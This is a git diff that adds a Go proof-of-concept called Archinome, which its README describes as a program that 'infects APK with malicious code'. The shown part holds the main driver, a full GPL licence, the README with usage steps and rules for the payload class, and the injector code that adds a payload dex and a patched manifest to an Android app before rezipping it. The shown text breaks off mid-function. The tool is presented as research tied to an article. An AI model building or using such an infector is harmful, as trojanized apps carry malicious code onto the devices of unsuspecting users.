diff --git a/Infecting Android Applications The New Way/InfectingAndroidApplicationsTheNewWay.pdf b/Infecting Android Applications The New Way/InfectingAndroidApplicationsTheNewWay.pdf
new file mode 100644
index 0000000..0fb2305
Binary files /dev/null and b/Infecting Android Applications The New Way/InfectingAndroidApplicationsTheNewWay.pdf differ
diff --git a/Infecting Android Applications The New Way/master/Archinome.go b/Infecting Android Applications The New Way/master/Archinome.go
new file mode 100644
index 0000000..fd83bc0
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/Archinome.go
@@ -0,0 +1,55 @@
+// author: Thatskriptkid (www.orderofsixangles.com)
+// You can use my kaitai struct for binary manifest.
+// https://github.com/thatskriptkid/Kaitai-Struct-Android-Manifest-binary-XML
+
+package main
+
+import (
+ "common"
+ mydex "dex"
+ "encoding/xml"
+ "fmt"
+ "log"
+ "manifest"
+ "os"
+)
+
+func main() {
+
+ //setup logging
+ logFile, err := os.OpenFile("apkinfector.log", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
+ if err != nil {
+ log.Fatal(err)
+ }
+
+ defer logFile.Close()
+
+ log.SetOutput(logFile)
+
+ manifestPlainFile, err := os.Create(manifest.PlainPath) // create/truncate the file
+ if err != nil {
+ log.Panic("Failed to create AndroidManifest plaintext", err)
+ }
+
+ enc := xml.NewEncoder(manifestPlainFile)
+
+ enc.Indent("", "\t")
+
+ fmt.Println("Parsing APK...")
+ manifest.ParseApk(os.Args[1], enc)
+
+ //close before reading
+ manifestPlainFile.Close()
+
+ fmt.Println("Patching APK")
+ fmt.Println("\t--Patching manifest...")
+ manifest.Patch()
+
+ fmt.Println("\t--Patching dex...")
+ mydex.Patch()
+
+ fmt.Println("Injecting...")
+ common.Inject(os.Args[1], os.Args[2])
+
+ fmt.Println("Done! Now you should sign your apk")
+}
diff --git a/Infecting Android Applications The New Way/master/InjectedApp.dex b/Infecting Android Applications The New Way/master/InjectedApp.dex
new file mode 100644
index 0000000..48ee0a6
Binary files /dev/null and b/Infecting Android Applications The New Way/master/InjectedApp.dex differ
diff --git a/Infecting Android Applications The New Way/master/LICENSE b/Infecting Android Applications The New Way/master/LICENSE
new file mode 100644
index 0000000..f288702
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/LICENSE
@@ -0,0 +1,674 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users. We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors. You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights. Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received. You must make sure that they, too, receive
+or can get the source code. And you must show them these terms so they
+know their rights.
+
+ Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+ For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software. For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+ Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so. This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software. The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable. Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products. If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+ Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary. To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Use with the GNU Affero General Public License.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+ Copyright (C)
+ This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+.
+
+ The GNU General Public License does not permit incorporating your program
+into proprietary programs. If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library. If this is what you want to do, use the GNU Lesser General
+Public License instead of this License. But first, please read
+.
diff --git a/Infecting Android Applications The New Way/master/README.md b/Infecting Android Applications The New Way/master/README.md
new file mode 100644
index 0000000..27e783d
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/README.md
@@ -0,0 +1,39 @@
+# Apk infector Archinome PoC
+
+Program that infects APK with malicious code using DEX/Manifest patching
+
+**Full description about What is it and How it works:**
+
+https://www.orderofsixangles.com/en/2020/04/07/android-infection-the-new-way.html (EN)
+
+https://www.orderofsixangles.com/ru/2020/07/04/Infecting-android-app-the-new-way.html (RU)
+
+**Please read article berfore use it!**
+
+Receives two args:
+```
+./Archinome path_to_apk output_apk_filename
+```
+
+To inject your malicious code, you should place file named payload.dex with malicious code that follow rules:
+
+1. Class name within payload.dex - `aaaaaaaaaaaa.payload`
+
+2. Method `public void executePayload()`
+
+After you infect apk please sign it.
+
+If there are problems make sure that:
+ 1. The original application works
+ 2. All file paths in PoC are correct
+ 3. There's nothing unusual in apkinfector.log.
+ 4. The name of the original Application class in the patched InjectedApp.dex is really in its place.
+ 5. The target application uses its Application class. Otherwise, PoC inoperability is predictable.
+
+If nothing helped, try to play with the `-min-api` parameter when compiling payload classes.
+If nothing worked, then create an issue on github.
+
+
+PoC includes files from https://github.com/avast/apkparser.
+
+I am not a Go developer so forgive me for the quality of code
diff --git a/Infecting Android Applications The New Way/master/common/injector.go b/Infecting Android Applications The New Way/master/common/injector.go
new file mode 100644
index 0000000..dbd70bc
--- /dev/null
+++ b/Infecting Android Applications The New Way/master/common/injector.go
@@ -0,0 +1,240 @@
+package common
+
+import (
+ "archive/zip"
+ "compress/flate"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "log"
+ "os"
+ "path/filepath"
+ "strconv"
+ "strings"
+)
+
+var zipOutput, _ = filepath.Abs("sample_unzipped")
+var injectedAppPrevName, _ = filepath.Abs("InjectedApp_patched.dex")
+var payloadPrevName, _ = filepath.Abs("payload.dex")
+
+func Inject(path string, zipModifiedOutput string) {
+
+ if _, err := os.Stat(zipOutput); err == nil {
+ err := os.RemoveAll(zipOutput)
+ if err != nil {
+ log.Panic(err)
+ }
+ }
+ if _, err := os.Stat(zipModifiedOutput); err == nil {
+ err := os.Remove(zipModifiedOutput)
+ if err != nil {
+ log.Panic(err)
+ }
+ }
+
+
+ //unzip apk
+ files, err := unzip(path, zipOutput)
+ if err != nil {
+ log.Panic("Failed to unzip APK",err)
+ //log.Printf("Unzipped:\n" + strings.Join(files, "\n"))
+ }
+
+ //calc classes.dex index
+ max := strings.Count(strings.Join(files, ""), "classes")
+ log.Printf("max classes dex index = %d", max)
+ max += 1
+
+ // inject InjectedApp.dex
+ var injectedAppNewName = "classes" + strconv.Itoa(max) + ".dex"
+
+
+ copy(injectedAppPrevName, zipOutput + "\\" + injectedAppNewName)
+
+ max +=1
+
+ // inject payload.dex
+ var payloadNewName = "classes" + strconv.Itoa(max) + ".dex"
+
+
+ copy(payloadPrevName, zipOutput + "\\" + payloadNewName)
+
+ log.Printf("Successfuly injected DEX:" + injectedAppNewName + "," + payloadNewName)
+
+ //replace manifest
+ copy(ManifestBinaryPath, zipOutput + "\\AndroidManifest.xml")
+
+ files = append(files[0:], zipOutput + "\\" + injectedAppNewName)
+ files = append(files[0:], zipOutput + "\\" + payloadNewName)
+
+ // zip all files
+ fmt.Println("\t--zipping...")
+ ZipWriter(zipModifiedOutput)
+
+ //delete sample_unzipped - we dont need it
+
+ if _, err := os.Stat(zipOutput); err == nil {
+ err := os.RemoveAll(zipOutput)
+ if err != nil {
+ log.Panic(err)
+ }
+ }
+}
+
+
+func ZipWriter(zipModifiedOutput string) {
+ baseFolder,_ := filepath.Abs("sample_unzipped")
+
+ // Get a Buffer to Write To
+ outFile, err := os.Create(zipModifiedOutput)
+ if err != nil {
+ fmt.Println(err)
+ }
+ defer outFile.Close()
+
+ // Create a new zip archive.
+ w := zip.NewWriter(outFile)
+
+ // Register a custom Deflate compressor.
+ w.RegisterCompressor(zip.Deflate, func(out io.Writer) (io.WriteCloser, error) {
+ return flate.NewWriter(out, flate.BestCompression)
+ })
+
+ // Add some files to the archive.
+ addFiles(w, baseFolder, "")
+
+ if err != nil {
+ fmt.Println(err)
+ }
+
+ // Make sure to check the error on Close.
+ err = w.Close()
+ if err != nil {
+ fmt.Println(err)
+ }
+}
+
+func addFiles(w *zip.Writer, basePath, baseInZip string) {
+ // Open the Directory
+ files, err := ioutil.ReadDir(basePath)
+ if err != nil {
+ fmt.Println(err)
+ }
+
+ for _, file := range files {
+ //fmt.Println(basePath + file.Name())
+ if !file.IsDir() {
+ dat, err := ioutil.ReadFile(basePath + "\\" + file.Name())
+ if err != nil {
+ fmt.Println(err)
+ }
+
